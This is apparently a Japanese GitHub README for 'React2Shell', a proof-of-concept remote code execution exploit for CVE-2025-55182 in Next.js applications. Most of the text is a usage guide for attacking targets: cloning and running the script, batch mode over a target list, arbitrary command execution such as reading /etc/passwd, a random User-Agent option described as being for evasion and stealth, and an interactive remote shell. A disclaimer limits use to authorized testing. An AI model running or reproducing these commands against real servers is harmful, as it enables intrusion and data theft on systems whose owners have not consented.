
CVE-2025-55182 – React2Shell: Next.jsアプリケーション向け概念実証リモートコード実行(RCE)エクスプロイト。リアルタイムで脆弱性をテスト・実証する対話型シェルプロンプトを備えています。セキュリティ研究および許可されたペネトレーションテストにのみ使用してください。
このリポジトリは、CVE-2025-55182 の実用的な概念実証を提供します。この脆弱性は、一部の Next.js デプロイメントに影響を与える RCE です。このツールは、エクスプロイト時にインタラクティブシェルプロンプトを開き、セキュリティ研究者が悪用可能性をテストおよび検証できるようにします。責任を持って、許可されたターゲットのみに使用してください。
# Getting Started
git clone https://github.com/M4xSec/CVE-2025-55182-React2Shell-RCE-Shell/
cd /CVE-2025-55182-React2Shell-RCE-Shell/
python3 CVE-2025-55182-exploit.py
# Single target (default mode)
python3 CVE-2025-55182-exploit.py -u http://target.com
# Target on localhost + specify callback / proxy URL (if applicable)
python3 CVE-2025-55182-exploit.py -u http://localhost:3000 -p http://127.0.0.1:8080
# Use HTTPS target and skip certificate verification (if applicable)
python3 CVE-2025-55182-exploit.py -u https://target.com -k
# Batch mode: supply list of targets (one per line)
python3 CVE-2025-55182-exploit.py -l targets.txt
# Custom command execution on target
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "id"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd"
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "uname -a" -v
# Provide additional headers if needed (e.g. custom cookies)
python3 CVE-2025-55182-exploit.py -u http://target.com -H "Cookie: session=abc123" --custom "ps aux"
# Batch + custom commands (multiple commands separated with semicolon)
python3 CVE-2025-55182-exploit.py -l targets.txt --custom "whoami; id; pwd"
# Only output the payload without executing (payload-only mode)
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd" --payload-only
# Use a random User-Agent header for evasion / stealth
python3 CVE-2025-55182-exploit.py -u http://target.com --random-agent
python3 CVE-2025-55182-exploit.py -l targets.txt --random-agent -k
# Interactive shell mode (if exploit succeeds)
python3 CVE-2025-55182-exploit.py -u http://target.com --shell